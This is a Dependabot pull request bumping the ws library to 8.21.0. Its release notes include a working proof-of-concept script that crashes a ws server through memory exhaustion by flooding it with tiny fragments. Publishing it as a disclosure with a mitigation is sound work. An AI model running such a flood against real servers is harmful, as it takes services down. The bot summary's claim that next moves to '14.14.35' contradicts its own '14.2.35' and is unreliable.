Bump ws from 8.17.0 to 8.21.0 in /apps/transcription_chat

[dependabot]

Bumps ws from 8.17.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

Note

Low Risk
Dependency and lockfile-only changes with no app logic edits; main residual risk is routine regression from patched ws and Next patch versions.

Overview
Updates apps/transcription_chat/yarn.lock only—no application source changes.

ws is resolved from 8.17.0 to 8.21.0 (likely via a transitive dependency). That release includes security fixes for remote memory-exhaustion DoS and related hardening (maxBufferedChunks / maxFragments).

The lockfile also moves next from 14.2.3 to 14.14.35 and aligns @next/env and platform @next/swc-* packages, matching the app’s declared next: 14.2.35 in package.json.

[cursor]

Risk: low. Cursor Bugbot check passed, but no Cursor[bot] review comment with the expected Bugbot marker was found, so I am not auto-approving. Requesting human review for this lockfile-only ws security bump (8.17.0 → 8.21.0).
